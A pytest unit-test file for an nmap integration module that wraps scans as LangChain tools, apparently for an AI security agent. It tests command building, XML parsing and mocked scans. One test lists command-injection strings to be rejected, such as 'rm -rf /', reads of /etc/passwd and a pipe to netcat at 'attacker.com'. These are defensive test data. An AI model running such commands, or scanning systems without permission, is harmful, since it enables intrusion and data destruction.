Buckets:

download
raw
50.2 kB
""" Comprehensive Unit Tests for Nmap Integration Module Tests for tools/nmap_integration.py with mocking (no real tool execution). Target: >70% coverage Run with: pytest tests/unit/test_nmap_integration.py -v """ import asyncio import subprocess # Ensure imports work import sys import xml.etree.ElementTree as ET from pathlib import Path from unittest.mock import MagicMock, Mock, patch import pytest sys.path.insert(0, str(Path(__file__).parent.parent.parent)) from tools.nmap_integration import ( NmapHost, NmapPort, NmapResult, NmapScanner, ScanType, TimingTemplate, create_nmap_result_dict, nmap_quick_scan, nmap_scan, nmap_vuln_scan, register_nmap_tools, ) # ============================================================================ # Fixtures # ============================================================================ @pytest.fixture def mock_nmap_path(): """Mock shutil.which to return nmap path.""" with patch("shutil.which", return_value="/usr/bin/nmap"): yield @pytest.fixture def sample_xml_output(): """Sample XML output with complete host information.""" return """<?xml version="1.0" encoding="UTF-8"?> <nmaprun scanner="nmap" args="nmap -sS -T3 -p 80,443 -oX - scanme.nmap.org"> <host starttime="1234567890"> <status state="up" reason="syn-ack"/> <address addr="45.33.32.156" addrtype="ipv4"/> <address addr="00:50:56:C0:00:08" addrtype="mac" vendor="VMware"/> <hostnames> <hostname name="scanme.nmap.org" type="user"/> </hostnames> <ports> <port protocol="tcp" portid="80"> <state state="open" reason="syn-ack"/> <service name="http" product="Apache httpd" version="2.4.7" ostype="Linux"> <cpe>cpe:/a:apache:http_server:2.4.7</cpe> <cpe>cpe:/o:linux:linux_kernel</cpe> </service> <script id="http-title" output="Go ahead and ScanMe!"/> <script id="http-methods" output="GET, HEAD, POST, OPTIONS"/> </port> <port protocol="tcp" portid="443"> <state state="open" reason="syn-ack"/> <service name="https" product="Apache httpd" version="2.4.7" tunnel="ssl"/> </port> <port protocol="tcp" portid="22"> <state state="closed" reason="reset"/> <service name="ssh" method="table"/> </port> </ports> <os> <osmatch name="Linux 3.x" accuracy="95" line="12345"/> <osmatch name="Linux 4.x" accuracy="90" line="12346"/> <osclass type="general purpose" vendor="Linux" osfamily="Linux" osgen="3.X" accuracy="95"/> </os> <hostscript> <script id="nbstat" output="NetBIOS name: TEST"/> <script id="smb-os-discovery" output="OS: Windows Server 2019"/> </hostscript> <trace> <hop ttl="1" ipaddr="192.168.1.1" rtt="0.5" host="router.local"/> <hop ttl="2" ipaddr="10.0.0.1" rtt="1.2"/> <hop ttl="3" ipaddr="45.33.32.156" rtt="2.5"/> </trace> <uptime seconds="1234567" lastboot="Mon Jan 1 00:00:00 2024"/> <distance value="1"/> <tcpsequence index="100" difficulty="Good luck!"/> <ipidsequence class="All zeros" values="0,0,0"/> <tcptssequence class="1000HZ" values="1,2,3"/> </host> <host starttime="1234567891"> <status state="up" reason="echo-reply"/> <address addr="192.168.1.2" addrtype="ipv4"/> <hostnames> <hostname name="host2.local" type="PTR"/> </hostnames> <ports> <port protocol="tcp" portid="22"> <state state="open"/> <service name="ssh" product="OpenSSH" version="8.2p1"/> </port> </ports> </host> <runstats> <finished time="1234567892" timestr="Thu Jan 01 00:00:02 2024" elapsed="5.23" summary="Nmap done at Thu Jan 01 00:00:02 2024; 2 IP addresses (2 hosts up) scanned in 5.23 seconds" exit="success"/> <hosts up="2" down="0" total="2"/> </runstats> </nmaprun>""" @pytest.fixture def empty_xml_output(): """Empty XML output with no hosts.""" return """<?xml version="1.0" encoding="UTF-8"?> <nmaprun scanner="nmap" args="nmap -sS 192.168.255.255"> <runstats> <finished time="1234567890"/> <hosts up="0" down="1" total="1"/> </runstats> </nmaprun>""" @pytest.fixture def malformed_xml(): """Malformed XML for testing fallback parsing.""" return """<?xml version="1.0"?> <nmaprun> <host> <address addr="192.168.1.1" addrtype="ipv4"/> <status state="up"/> </host> </nmaprun>""" @pytest.fixture def scanner(mock_nmap_path): """Create a NmapScanner instance with mocked nmap path.""" return NmapScanner("192.168.1.1") # ============================================================================ # Test Initialization and Validation # ============================================================================ class TestNmapScannerInitialization: """Test NmapScanner initialization and validation.""" def test_init_single_ip(self, mock_nmap_path): """Test initialization with single IP address.""" scanner = NmapScanner("192.168.1.1") assert scanner.targets == ["192.168.1.1"] assert scanner.options["timing"] == TimingTemplate.NORMAL assert scanner.options["scan_type"] == ScanType.SYN assert scanner.nmap_path == "/usr/bin/nmap" def test_init_multiple_targets(self, mock_nmap_path): """Test initialization with multiple targets.""" targets = ["192.168.1.1", "192.168.1.2", "scanme.nmap.org"] scanner = NmapScanner(targets) assert scanner.targets == targets def test_init_with_cidr(self, mock_nmap_path): """Test initialization with CIDR notation.""" scanner = NmapScanner("192.168.1.0/24") assert scanner.targets == ["192.168.1.0/24"] def test_init_ipv6(self, mock_nmap_path): """Test initialization with IPv6 address.""" scanner = NmapScanner("::1") assert "::1" in scanner.targets def test_init_with_options(self, mock_nmap_path): """Test initialization with various options.""" options = { "ports": "80,443,8080", "timing": TimingTemplate.AGGRESSIVE, "scan_type": ScanType.CONNECT, "service_detection": True, "os_detection": False, } scanner = NmapScanner("scanme.nmap.org", options) assert scanner.options["ports"] == "80,443,8080" assert scanner.options["timing"] == TimingTemplate.AGGRESSIVE assert scanner.options["scan_type"] == ScanType.CONNECT assert scanner.options["service_detection"] is True def test_init_no_valid_targets(self, mock_nmap_path): """Test error when no valid targets.""" with pytest.raises(ValueError, match="No valid targets"): NmapScanner("") def test_init_nmap_not_found(self): """Test error when nmap binary not found.""" with patch("shutil.which", return_value=None): with pytest.raises(RuntimeError, match="nmap not found"): NmapScanner("192.168.1.1") def test_init_custom_nmap_path(self): """Test initialization with custom nmap path.""" with patch("shutil.which", return_value="/opt/nmap/bin/nmap"): scanner = NmapScanner("192.168.1.1", nmap_path="/opt/nmap/bin/nmap") assert scanner.nmap_path == "/opt/nmap/bin/nmap" # ============================================================================ # Test Target Validation Security # ============================================================================ class TestTargetValidationSecurity: """Test target validation and command injection prevention.""" @pytest.mark.parametrize( "target", [ "192.168.1.1", "scanme.nmap.org", "10.0.0.0/8", "2001:db8::1", "::1", "sub.domain.example.com", ], ) def test_valid_targets(self, target, mock_nmap_path): """Test that valid targets are accepted.""" scanner = NmapScanner(target) assert target in scanner.targets @pytest.mark.parametrize( "target", [ "192.168.1.1; rm -rf /", "192.168.1.1 && cat /etc/passwd", "192.168.1.1 | nc attacker.com", "192.168.1.1`whoami`", "192.168.1.1$(cat /etc/passwd)", "192.168.1.1 || evil_command", "192.168.1.1> /tmp/output", "192.168.1.1< /etc/passwd", "192.168.1.1{echo,test}", ], ) def test_command_injection_prevention(self, target, mock_nmap_path): """Test that command injection attempts are blocked.""" with pytest.raises(ValueError, match="Invalid characters"): NmapScanner(target) def test_empty_string_filtered(self, mock_nmap_path): """Test that empty strings are filtered from target list.""" scanner = NmapScanner(["192.168.1.1", "", "192.168.1.2"]) assert "" not in scanner.targets assert len(scanner.targets) == 2 def test_whitespace_stripped(self, mock_nmap_path): """Test that whitespace is stripped from targets.""" scanner = NmapScanner([" 192.168.1.1 ", " scanme.nmap.org "]) assert "192.168.1.1" in scanner.targets assert "scanme.nmap.org" in scanner.targets # ============================================================================ # Test Command Building # ============================================================================ class TestCommandBuilding: """Test command line building functionality.""" def test_basic_command_structure(self, scanner): """Test basic command structure.""" cmd = scanner._build_command() assert cmd[0] == "/usr/bin/nmap" assert ScanType.SYN.value in cmd assert TimingTemplate.NORMAL.value in cmd assert "-oX" in cmd assert "-" in cmd assert "192.168.1.1" in cmd @pytest.mark.parametrize( "scan_type,expected", [ (ScanType.SYN, "-sS"), (ScanType.CONNECT, "-sT"), (ScanType.UDP, "-sU"), (ScanType.FIN, "-sF"), (ScanType.NULL, "-sN"), (ScanType.XMAS, "-sX"), (ScanType.ACK, "-sA"), (ScanType.WINDOW, "-sW"), (ScanType.MAIMON, "-sM"), (ScanType.PING, "-sn"), ], ) def test_all_scan_types(self, scan_type, expected, scanner): """Test all scan type flags.""" scanner.options["scan_type"] = scan_type cmd = scanner._build_command() assert expected in cmd @pytest.mark.parametrize( "timing,expected", [ (TimingTemplate.PARANOID, "-T0"), (TimingTemplate.SNEAKY, "-T1"), (TimingTemplate.POLITE, "-T2"), (TimingTemplate.NORMAL, "-T3"), (TimingTemplate.AGGRESSIVE, "-T4"), (TimingTemplate.INSANE, "-T5"), ], ) def test_all_timing_templates(self, timing, expected, scanner): """Test all timing template flags.""" scanner.options["timing"] = timing cmd = scanner._build_command() assert expected in cmd def test_string_scan_type(self, scanner): """Test string scan type instead of enum.""" scanner.options["scan_type"] = "-sT" cmd = scanner._build_command() assert "-sT" in cmd def test_string_timing(self, scanner): """Test string timing instead of enum.""" scanner.options["timing"] = "-T4" cmd = scanner._build_command() assert "-T4" in cmd def test_port_specification(self, scanner): """Test port specification.""" scanner.options["ports"] = "80,443,8080" cmd = scanner._build_command() assert "-p" in cmd assert "80,443,8080" in cmd def test_top_10_ports(self, scanner): """Test top-10 ports preset.""" scanner.options["ports"] = "top-10" cmd = scanner._build_command() assert "-p" in cmd assert "22,80,443" in str(cmd) def test_top_100_ports(self, scanner): """Test top-100 ports preset.""" scanner.options["ports"] = "top-100" cmd = scanner._build_command() assert "-p" in cmd ports = NmapScanner.TOP_PORTS["top-100"] assert ports.split(",")[0] in str(cmd) def test_top_1000_ports(self, scanner): """Test top-1000 ports preset.""" scanner.options["ports"] = "top-1000" cmd = scanner._build_command() assert "--top-ports" in cmd assert "1000" in cmd def test_service_detection(self, scanner): """Test service detection options.""" scanner.options["service_detection"] = True scanner.options["version_intensity"] = 9 cmd = scanner._build_command() assert "-sV" in cmd assert "--version-intensity" in cmd assert "9" in cmd def test_os_detection(self, scanner): """Test OS detection options.""" scanner.options["os_detection"] = True scanner.options["osscan_limit"] = True cmd = scanner._build_command() assert "-O" in cmd assert "--osscan-limit" in cmd def test_script_scan_default(self, scanner): """Test default script scan.""" scanner.options["script_scan"] = True cmd = scanner._build_command() assert "-sC" in cmd def test_script_scan_specific(self, scanner): """Test specific script scan.""" scanner.options["script_scan"] = "http-title,vulners" cmd = scanner._build_command() assert "--script" in cmd assert "http-title,vulners" in cmd def test_script_scan_list(self, scanner): """Test script scan with list.""" scanner.options["script_scan"] = ["http-title", "vulners", "banner"] cmd = scanner._build_command() assert "--script" in cmd assert "http-title,vulners,banner" in cmd def test_script_scan_default_string(self, scanner): """Test script scan with 'default' string.""" scanner.options["script_scan"] = "default" cmd = scanner._build_command() assert "-sC" in cmd def test_aggressive_scan(self, scanner): """Test aggressive scan flag.""" scanner.options["aggressive"] = True cmd = scanner._build_command() assert "-A" in cmd def test_ping_scan(self, scanner): """Test ping scan flag.""" scanner.options["ping_scan"] = True cmd = scanner._build_command() assert "-sn" in cmd def test_no_ping(self, scanner): """Test no ping flag.""" scanner.options["no_ping"] = True cmd = scanner._build_command() assert "-Pn" in cmd def test_source_port(self, scanner): """Test source port option.""" scanner.options["source_port"] = 53 cmd = scanner._build_command() assert "-g" in cmd assert "53" in cmd def test_interface(self, scanner): """Test interface option.""" scanner.options["interface"] = "eth0" cmd = scanner._build_command() assert "-e" in cmd assert "eth0" in cmd def test_max_retries(self, scanner): """Test max retries option.""" scanner.options["max_retries"] = 3 cmd = scanner._build_command() assert "--max-retries" in cmd assert "3" in cmd def test_host_timeout(self, scanner): """Test host timeout option.""" scanner.options["host_timeout"] = "30m" cmd = scanner._build_command() assert "--host-timeout" in cmd assert "30m" in cmd def test_scan_delay(self, scanner): """Test scan delay option.""" scanner.options["scan_delay"] = "1s" cmd = scanner._build_command() assert "--scan-delay" in cmd assert "1s" in cmd def test_max_rate(self, scanner): """Test max rate option.""" scanner.options["max_rate"] = 1000 cmd = scanner._build_command() assert "--max-rate" in cmd assert "1000" in cmd def test_verbosity_levels(self, scanner): """Test verbosity levels.""" scanner.options["verbosity"] = 3 cmd = scanner._build_command() assert "-vvv" in cmd def test_debugging_levels(self, scanner): """Test debugging levels.""" scanner.options["debugging"] = 2 cmd = scanner._build_command() assert "-dd" in cmd def test_additional_args(self, scanner): """Test additional arguments.""" scanner.options["additional_args"] = [ "--randomize-hosts", "--packet-trace", "--reason", ] cmd = scanner._build_command() assert "--randomize-hosts" in cmd assert "--packet-trace" in cmd assert "--reason" in cmd def test_multiple_targets_in_command(self, mock_nmap_path): """Test command with multiple targets.""" scanner = NmapScanner(["target1.com", "target2.com", "192.168.1.1"]) cmd = scanner._build_command() assert cmd[-3] == "target1.com" assert cmd[-2] == "target2.com" assert cmd[-1] == "192.168.1.1" def test_complex_command_building(self, scanner): """Test complex command with multiple options.""" scanner.options = { "scan_type": ScanType.SYN, "timing": TimingTemplate.AGGRESSIVE, "ports": "top-100", "service_detection": True, "version_intensity": 7, "os_detection": True, "script_scan": ["vulners", "banner"], "no_ping": True, "verbosity": 1, "max_retries": 2, "additional_args": ["--open"], } cmd = scanner._build_command() assert "-sS" in cmd assert "-T4" in cmd assert "-p" in cmd assert "-sV" in cmd assert "-O" in cmd assert "-Pn" in cmd assert "-v" in cmd assert "--open" in cmd # ============================================================================ # Test XML Parsing # ============================================================================ class TestXMLParsing: """Test XML output parsing.""" def test_parse_complete_host(self, scanner, sample_xml_output): """Test parsing complete host information.""" hosts = scanner.parse_xml_output(sample_xml_output) assert len(hosts) == 2 host = hosts[0] assert host.ip == "45.33.32.156" assert host.hostname == "scanme.nmap.org" assert host.status == "up" assert host.os_match == "Linux 3.x" assert host.os_accuracy == 95 def test_parse_ports(self, scanner, sample_xml_output): """Test parsing port information.""" hosts = scanner.parse_xml_output(sample_xml_output) host = hosts[0] assert len(host.ports) == 3 # Open port 80 port_80 = next(p for p in host.ports if p.port == 80) assert port_80.protocol == "tcp" assert port_80.state == "open" assert port_80.service == "http" assert "2.4.7" in port_80.version or "Apache" in port_80.version assert len(port_80.cpe) == 2 assert "cpe:/a:apache:http_server:2.4.7" in port_80.cpe assert "http-title" in port_80.scripts assert port_80.scripts["http-title"] == "Go ahead and ScanMe!" # Open port 443 port_443 = next(p for p in host.ports if p.port == 443) assert port_443.state == "open" assert port_443.service == "https" # Closed port 22 port_22 = next(p for p in host.ports if p.port == 22) assert port_22.state == "closed" assert port_22.service == "ssh" def test_parse_os_matches(self, scanner, sample_xml_output): """Test parsing OS fingerprinting results.""" hosts = scanner.parse_xml_output(sample_xml_output) host = hosts[0] assert len(host.os_matches) == 2 assert host.os_matches[0]["name"] == "Linux 3.x" assert host.os_matches[0]["accuracy"] == 95 assert host.os_matches[0]["line"] == "12345" assert host.os_matches[1]["name"] == "Linux 4.x" assert host.os_matches[1]["accuracy"] == 90 def test_parse_host_scripts(self, scanner, sample_xml_output): """Test parsing host script output.""" hosts = scanner.parse_xml_output(sample_xml_output) host = hosts[0] assert "nbstat" in host.host_scripts assert host.host_scripts["nbstat"] == "NetBIOS name: TEST" assert "smb-os-discovery" in host.host_scripts assert "Windows Server 2019" in host.host_scripts["smb-os-discovery"] def test_parse_traceroute(self, scanner, sample_xml_output): """Test parsing traceroute data.""" hosts = scanner.parse_xml_output(sample_xml_output) host = hosts[0] assert len(host.trace) == 3 assert host.trace[0]["ttl"] == "1" assert host.trace[0]["ipaddr"] == "192.168.1.1" assert host.trace[0]["rtt"] == "0.5" assert host.trace[2]["ttl"] == "3" def test_parse_multiple_hosts(self, scanner, sample_xml_output): """Test parsing output with multiple hosts.""" hosts = scanner.parse_xml_output(sample_xml_output) assert len(hosts) == 2 assert hosts[0].ip == "45.33.32.156" assert hosts[1].ip == "192.168.1.2" assert hosts[1].hostname == "host2.local" def test_parse_no_hosts(self, scanner, empty_xml_output): """Test parsing output with no hosts.""" hosts = scanner.parse_xml_output(empty_xml_output) assert len(hosts) == 0 def test_parse_empty_xml(self, scanner): """Test parsing empty XML.""" hosts = scanner.parse_xml_output('<?xml version="1.0"?><nmaprun></nmaprun>') assert len(hosts) == 0 def test_parse_host_without_address(self, scanner): """Test parsing host without valid address.""" xml = """<?xml version="1.0"?> <nmaprun> <host><status state="up"/></host> </nmaprun>""" hosts = scanner.parse_xml_output(xml) assert len(hosts) == 0 def test_parse_malformed_xml_fallback(self, scanner): """Test fallback parsing for malformed XML.""" malformed = '<host><address addr="192.168.1.1" addrtype="ipv4"/><status state="up"/></host>' hosts = scanner.parse_xml_output(malformed) assert isinstance(hosts, list) def test_parse_port_without_service(self, scanner): """Test parsing port without service info.""" xml = """<?xml version="1.0"?> <nmaprun> <host> <address addr="192.168.1.1" addrtype="ipv4"/> <ports> <port protocol="tcp" portid="9999"> <state state="filtered"/> </port> </ports> </host> </nmaprun>""" hosts = scanner.parse_xml_output(xml) assert len(hosts) == 1 assert hosts[0].ports[0].port == 9999 assert hosts[0].ports[0].state == "filtered" assert hosts[0].ports[0].service == "" def test_parse_port_with_product_only(self, scanner): """Test parsing port with product but no version.""" xml = """<?xml version="1.0"?> <nmaprun> <host> <address addr="192.168.1.1" addrtype="ipv4"/> <ports> <port protocol="tcp" portid="80"> <state state="open"/> <service name="http" product="nginx"/> </port> </ports> </host> </nmaprun>""" hosts = scanner.parse_xml_output(xml) port = hosts[0].ports[0] assert port.service == "http" assert port.version == "nginx" # ============================================================================ # Test Fallback Parsing # ============================================================================ class TestFallbackParsing: """Test fallback regex-based parsing.""" def test_fallback_parse_single_host(self, scanner): """Test fallback parsing extracts host info.""" xml = '<host><address addr="192.168.1.1" addrtype="ipv4"/><status state="up"/></host>' hosts = scanner._fallback_parse(xml) assert len(hosts) == 1 assert hosts[0].ip == "192.168.1.1" assert hosts[0].status == "up" def test_fallback_parse_multiple_hosts(self, scanner): """Test fallback parsing with multiple hosts.""" xml = """ <host><address addr="192.168.1.1" addrtype="ipv4"/><status state="up"/></host> <host><address addr="192.168.1.2" addrtype="ipv4"/><status state="down"/></host> <host><address addr="192.168.1.3" addrtype="ipv4"/><status state="unknown"/></host> """ hosts = scanner._fallback_parse(xml) assert len(hosts) == 3 def test_fallback_parse_no_match(self, scanner): """Test fallback parsing with no matches.""" hosts = scanner._fallback_parse("<invalid>no host here</invalid>") assert len(hosts) == 0 def test_fallback_parse_error_handling(self, scanner): """Test fallback parsing handles errors gracefully.""" # This should not raise an exception hosts = scanner._fallback_parse("") assert len(hosts) == 0 # ============================================================================ # Test Async Scanning # ============================================================================ class TestAsyncScanning: """Test async scanning functionality.""" def test_successful_scan(self, scanner, sample_xml_output): """Test successful scan execution.""" mock_result = Mock() mock_result.returncode = 0 mock_result.stdout = sample_xml_output mock_result.stderr = "" with patch.object(scanner, "_run_subprocess", return_value=mock_result): result = asyncio.run(scanner.scan()) assert result.success is True assert len(result.hosts) == 2 assert result.error is None assert result.scan_time > 0 assert "total_hosts" in result.summary assert result.summary["total_hosts"] == 2 assert result.summary["up_hosts"] == 2 def test_scan_failure_nonzero_exit(self, scanner): """Test scan failure with non-zero exit code.""" mock_result = Mock() mock_result.returncode = 1 mock_result.stdout = "" mock_result.stderr = "Error: Invalid target specified" with patch.object(scanner, "_run_subprocess", return_value=mock_result): result = asyncio.run(scanner.scan()) assert result.success is False assert "Error" in result.error or "failed" in result.error.lower() def test_scan_with_stderr_but_success(self, scanner, sample_xml_output): """Test scan that succeeds but has stderr output.""" mock_result = Mock() mock_result.returncode = 0 mock_result.stdout = sample_xml_output mock_result.stderr = "Warning: Host seems down" with patch.object(scanner, "_run_subprocess", return_value=mock_result): result = asyncio.run(scanner.scan()) assert result.success is True assert len(result.hosts) == 2 def test_scan_timeout(self, scanner): """Test scan timeout handling.""" with patch.object(scanner, "_run_subprocess", side_effect=asyncio.TimeoutError): result = asyncio.run(scanner.scan(timeout=1)) assert result.success is False assert "timeout" in result.error.lower() or "timed out" in result.error.lower() def test_scan_exception(self, scanner): """Test exception handling during scan.""" with patch.object(scanner, "_run_subprocess", side_effect=Exception("Network error")): result = asyncio.run(scanner.scan()) assert result.success is False assert "Network error" in result.error def test_scan_with_empty_result(self, scanner, empty_xml_output): """Test scan with empty result.""" mock_result = Mock() mock_result.returncode = 0 mock_result.stdout = empty_xml_output mock_result.stderr = "" with patch.object(scanner, "_run_subprocess", return_value=mock_result): result = asyncio.run(scanner.scan()) assert result.success is True assert len(result.hosts) == 0 assert result.summary["total_hosts"] == 0 def test_run_subprocess(self, scanner): """Test _run_subprocess method.""" mock_completed = Mock() mock_completed.returncode = 0 mock_completed.stdout = "test" mock_completed.stderr = "" with patch("subprocess.run", return_value=mock_completed) as mock_run: result = scanner._run_subprocess(["nmap", "-sS", "target"]) mock_run.assert_called_once_with(["nmap", "-sS", "target"], capture_output=True, text=True) assert result == mock_completed # ============================================================================ # Test Convenience Methods # ============================================================================ class TestConvenienceMethods: """Test convenience scan methods.""" def test_scan_ports(self, scanner, sample_xml_output): """Test scan_ports method.""" mock_result = Mock() mock_result.returncode = 0 mock_result.stdout = sample_xml_output mock_result.stderr = "" with patch.object(scanner, "_run_subprocess", return_value=mock_result): result = asyncio.run(scanner.scan_ports(ports="80,443", scan_type=ScanType.SYN)) assert result["success"] is True assert "hosts" in result assert "summary" in result assert scanner.options["ports"] == "80,443" assert scanner.options["scan_type"] == ScanType.SYN def test_scan_ports_with_string_type(self, scanner, sample_xml_output): """Test scan_ports with string scan type (uses scan type value).""" mock_result = Mock() mock_result.returncode = 0 mock_result.stdout = sample_xml_output mock_result.stderr = "" # Note: The scan_type parameter expects the enum value (e.g., "-sT"), not the name with patch.object(scanner, "_run_subprocess", return_value=mock_result): result = asyncio.run(scanner.scan_ports(ports="80", scan_type=ScanType.CONNECT)) assert result["success"] is True assert scanner.options["scan_type"] == ScanType.CONNECT def test_service_detection(self, scanner, sample_xml_output): """Test service_detection method.""" mock_result = Mock() mock_result.returncode = 0 mock_result.stdout = sample_xml_output mock_result.stderr = "" with patch.object(scanner, "_run_subprocess", return_value=mock_result): result = asyncio.run(scanner.service_detection(ports="80,443", version_intensity=9)) assert result["success"] is True assert scanner.options["service_detection"] is True assert scanner.options["version_intensity"] == 9 def test_os_detection(self, scanner, sample_xml_output): """Test os_detection method.""" mock_result = Mock() mock_result.returncode = 0 mock_result.stdout = sample_xml_output mock_result.stderr = "" with patch.object(scanner, "_run_subprocess", return_value=mock_result): result = asyncio.run(scanner.os_detection(ports="80,443")) assert result["success"] is True assert scanner.options["os_detection"] is True def test_run_script(self, scanner, sample_xml_output): """Test run_script method.""" mock_result = Mock() mock_result.returncode = 0 mock_result.stdout = sample_xml_output mock_result.stderr = "" with patch.object(scanner, "_run_subprocess", return_value=mock_result): result = asyncio.run( scanner.run_script( script_name="http-title", ports="80", script_args={"http.useragent": "Mozilla/5.0"}, ) ) assert result["success"] is True assert scanner.options["script_scan"] == "http-title" assert "--script-args" in scanner.options.get("additional_args", []) def test_run_script_with_list(self, scanner, sample_xml_output): """Test run_script with list of scripts.""" mock_result = Mock() mock_result.returncode = 0 mock_result.stdout = sample_xml_output mock_result.stderr = "" with patch.object(scanner, "_run_subprocess", return_value=mock_result): result = asyncio.run( scanner.run_script( script_name=["http-title", "vulners"], ports="80,443", ) ) assert result["success"] is True # ============================================================================ # Test Result Conversion # ============================================================================ class TestResultConversion: """Test result conversion methods.""" def test_result_to_dict(self, scanner): """Test conversion of result to dictionary.""" host = NmapHost( ip="192.168.1.1", hostname="test.local", status="up", os_match="Linux 5.x", os_accuracy=98, mac_address="00:11:22:33:44:55", vendor="TestVendor", ports=[ NmapPort( port=80, protocol="tcp", state="open", service="http", version="nginx 1.18.0", banner="Server: nginx", cpe=["cpe:/a:nginx:nginx:1.18.0"], scripts={"http-title": "Welcome"}, ), ], host_scripts={"smb-os-discovery": "Windows"}, trace=[{"ttl": "1", "ipaddr": "192.168.1.1", "rtt": "0.5"}], ) result = NmapResult( success=True, hosts=[host], command="nmap -sS 192.168.1.1", scan_time=10.5, summary={"total_hosts": 1, "up_hosts": 1}, raw_xml="<xml/>", ) result_dict = scanner._result_to_dict(result) assert result_dict["success"] is True assert result_dict["scan_time"] == 10.5 assert result_dict["command"] == "nmap -sS 192.168.1.1" assert len(result_dict["hosts"]) == 1 host_dict = result_dict["hosts"][0] assert host_dict["ip"] == "192.168.1.1" assert host_dict["hostname"] == "test.local" assert host_dict["os_match"] == "Linux 5.x" assert host_dict["mac_address"] == "00:11:22:33:44:55" assert host_dict["vendor"] == "TestVendor" assert len(host_dict["ports"]) == 1 assert len(host_dict["trace"]) == 1 port_dict = host_dict["ports"][0] assert port_dict["port"] == 80 assert port_dict["service"] == "http" assert port_dict["version"] == "nginx 1.18.0" assert port_dict["banner"] == "Server: nginx" assert port_dict["cpe"] == ["cpe:/a:nginx:nginx:1.18.0"] assert port_dict["scripts"]["http-title"] == "Welcome" def test_create_nmap_result_dict(self): """Test create_nmap_result_dict function.""" hosts = [ NmapHost( ip="192.168.1.1", status="up", ports=[ NmapPort(port=80, protocol="tcp", state="open", service="http"), NmapPort(port=443, protocol="tcp", state="open", service="https"), NmapPort(port=22, protocol="tcp", state="closed", service="ssh"), ], ), NmapHost( ip="192.168.1.2", status="up", ports=[ NmapPort(port=22, protocol="tcp", state="open", service="ssh"), ], ), NmapHost(ip="192.168.1.3", status="down"), ] result = create_nmap_result_dict(hosts) assert result["tool"] == "nmap" assert result["total_hosts"] == 3 assert result["hosts_up"] == 2 assert len(result["open_ports"]) == 3 # Check open ports only port_80 = next(p for p in result["open_ports"] if p["port"] == 80) assert port_80["service"] == "http" assert port_80["host"] == "192.168.1.1" # ============================================================================ # Test LangChain Tools # ============================================================================ class TestLangChainTools: """Test LangChain tool wrappers.""" def test_nmap_scan_tool(self, mock_nmap_path): """Test nmap_scan tool function.""" with patch("asyncio.run") as mock_run: mock_result = Mock() mock_result.success = True mock_result.scan_time = 5.0 mock_result.command = "nmap -sS scanme.nmap.org" mock_result.hosts = [] mock_result.summary = {"total_hosts": 0} mock_run.return_value = mock_result result = nmap_scan.invoke({"target": "scanme.nmap.org"}) assert isinstance(result, str) assert "Nmap scan completed" in result or "Scan failed" in result def test_nmap_scan_tool_with_options(self, mock_nmap_path): """Test nmap_scan with various options.""" with patch("asyncio.run") as mock_run: mock_result = Mock() mock_result.success = True mock_result.scan_time = 10.0 mock_result.command = "nmap -sS -sV scanme.nmap.org" mock_result.hosts = [] mock_result.summary = {"total_hosts": 0} mock_run.return_value = mock_result result = nmap_scan.invoke( { "target": "scanme.nmap.org", "ports": "top-100", "scan_type": "syn", "service_detection": True, "os_detection": False, } ) assert isinstance(result, str) def test_nmap_quick_scan_tool(self, mock_nmap_path): """Test nmap_quick_scan tool function.""" with patch("asyncio.run") as mock_run: mock_result = Mock() mock_result.success = True mock_result.hosts = [ NmapHost( ip="192.168.1.1", status="up", ports=[ NmapPort( port=80, protocol="tcp", state="open", service="http", ), ], ), ] mock_run.return_value = mock_result result = nmap_quick_scan.invoke({"target": "192.168.1.1", "ports": "top-100"}) assert isinstance(result, str) def test_nmap_quick_scan_no_ports(self, mock_nmap_path): """Test nmap_quick_scan when no open ports found.""" with patch("asyncio.run") as mock_run: mock_result = Mock() mock_result.success = True mock_result.hosts = [NmapHost(ip="192.168.1.1", status="up", ports=[])] mock_run.return_value = mock_result result = nmap_quick_scan.invoke({"target": "192.168.1.1"}) assert isinstance(result, str) assert "No open ports" in result def test_nmap_vuln_scan_tool(self, mock_nmap_path): """Test nmap_vuln_scan tool function.""" with patch("asyncio.run") as mock_run: mock_result = Mock() mock_result.success = True mock_result.hosts = [ NmapHost( ip="192.168.1.1", status="up", ports=[ NmapPort( port=80, protocol="tcp", state="open", service="http", scripts={"vulners": "CVE-2021-1234"}, ), ], ), ] mock_run.return_value = mock_result result = nmap_vuln_scan.invoke({"target": "192.168.1.1"}) assert isinstance(result, str) def test_nmap_vuln_scan_no_vulns(self, mock_nmap_path): """Test nmap_vuln_scan when no vulnerabilities found.""" with patch("asyncio.run") as mock_run: mock_result = Mock() mock_result.success = True mock_result.hosts = [ NmapHost( ip="192.168.1.1", status="up", ports=[ NmapPort( port=80, protocol="tcp", state="open", service="http", scripts={"http-title": "Welcome"}, ), ], ), ] mock_run.return_value = mock_result result = nmap_vuln_scan.invoke({"target": "192.168.1.1"}) assert isinstance(result, str) assert "No obvious vulnerabilities" in result # ============================================================================ # Test Data Classes # ============================================================================ class TestDataClasses: """Test dataclass definitions.""" def test_nmap_port_defaults(self): """Test NmapPort default values.""" port = NmapPort(port=80, protocol="tcp", state="open") assert port.port == 80 assert port.protocol == "tcp" assert port.state == "open" assert port.service == "" assert port.version == "" assert port.banner == "" assert port.cpe == [] assert port.scripts == {} def test_nmap_host_defaults(self): """Test NmapHost default values.""" host = NmapHost(ip="192.168.1.1") assert host.ip == "192.168.1.1" assert host.hostname == "" assert host.status == "" assert host.os_match == "" assert host.os_accuracy == 0 assert host.os_matches == [] assert host.ports == [] assert host.mac_address == "" assert host.vendor == "" assert host.host_scripts == {} assert host.trace == [] def test_nmap_result_defaults(self): """Test NmapResult default values.""" result = NmapResult(success=True) assert result.success is True assert result.hosts == [] assert result.command == "" assert result.scan_time == 0.0 assert result.error is None assert result.raw_xml == "" assert result.summary == {} def test_nmap_result_with_error(self): """Test NmapResult with error.""" result = NmapResult( success=False, error="Scan failed", command="nmap -sS target", scan_time=5.0, ) assert result.success is False assert result.error == "Scan failed" assert result.command == "nmap -sS target" # ============================================================================ # Test Enums # ============================================================================ class TestEnums: """Test enum definitions.""" @pytest.mark.parametrize( "scan_type,expected", [ (ScanType.SYN, "-sS"), (ScanType.CONNECT, "-sT"), (ScanType.UDP, "-sU"), (ScanType.ACK, "-sA"), (ScanType.WINDOW, "-sW"), (ScanType.MAIMON, "-sM"), (ScanType.FIN, "-sF"), (ScanType.NULL, "-sN"), (ScanType.XMAS, "-sX"), (ScanType.PING, "-sn"), ], ) def test_scan_type_values(self, scan_type, expected): """Test all scan types have correct values.""" assert scan_type.value == expected @pytest.mark.parametrize( "timing,expected", [ (TimingTemplate.PARANOID, "-T0"), (TimingTemplate.SNEAKY, "-T1"), 